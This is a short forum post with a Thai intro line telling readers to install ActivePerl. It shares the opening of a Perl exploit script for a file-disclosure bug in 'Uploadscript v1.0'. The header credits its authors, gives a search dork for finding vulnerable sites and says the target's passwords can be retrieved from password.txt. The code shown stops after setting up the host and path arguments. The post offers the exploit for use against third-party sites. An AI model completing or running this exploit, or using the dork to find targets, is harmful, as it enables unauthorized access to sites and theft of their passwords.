ก่อนใช้ ควรลง active perl ก่อนนะครับ
[hide=10][code]
#!/usr/bin/perl
##################################
## Uploadscript v1.0 File Disclosure Exploit
## Bug Found By Shu7d0wN
## Exploit Codded By Pr0T3cT10n
## Site : http://www.kamikaz-team.com
## Password in the file password.txt
## Able To Retrieve Pass
## Script download : http://www.uploadscript.net/demo/dow...6c212ba0901b4e
## dork : "Powered by Uploadscript v1.0"
##################################
use warnings;
use strict;
use IO::Socket;
my $host = $ARGV[0];
my $path = $ARGV[1];
if(!$ARGV[1])
